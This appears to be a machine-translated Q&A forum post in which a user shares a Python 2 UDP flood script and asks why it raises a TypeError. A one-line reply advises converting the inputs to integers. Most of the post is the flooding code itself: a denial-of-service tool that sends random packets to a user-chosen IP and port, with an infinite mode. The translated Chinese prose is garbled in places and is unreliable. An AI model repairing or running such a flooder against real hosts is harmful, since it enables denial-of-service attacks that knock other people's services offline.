0
我試圖做一個簡單的UDP泛洪學習AA知之甚少插座發送隨機分組,當一個類型錯誤,但是我得到「類型錯誤:一個整數需要」獲取試圖在一個插座
import os
import socket
import random
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
print("Python Script 1")
os.system("pause")
print("[*] Please enter parameters below")
ip = raw_input("Enter IP adress: ")
port = raw_input("Enter port: ")
size = int(raw_input("Enter Packet size: "))
amount = int(raw_input("Enter amount of packets (0 for infinite): "))
bytes = random._urandom(size)
print("[*] UDP Flooding started on " + ip + ":" + port)
while amount > 1:
s.sendto(bytes,(ip,port))
print("[*] Sent %s packets to %s : %s.") % (sent,ip,port)
sent = sent + 1
amount = amount - 1
while amount == 0:
s.sendto(bytes,(ip,port))
print("[*] Sent %s packets to %s : %s.") % (sent,ip,port)
sent = sent + 1
我得到s.sendto(字節,(ip,端口))上的錯誤,我試着在谷歌環顧四周,但找不到任何東西。謝謝!
'''ip'和'port'是從'raw_input'返回的字符串。將它們轉換爲「int」。 – FamousJameous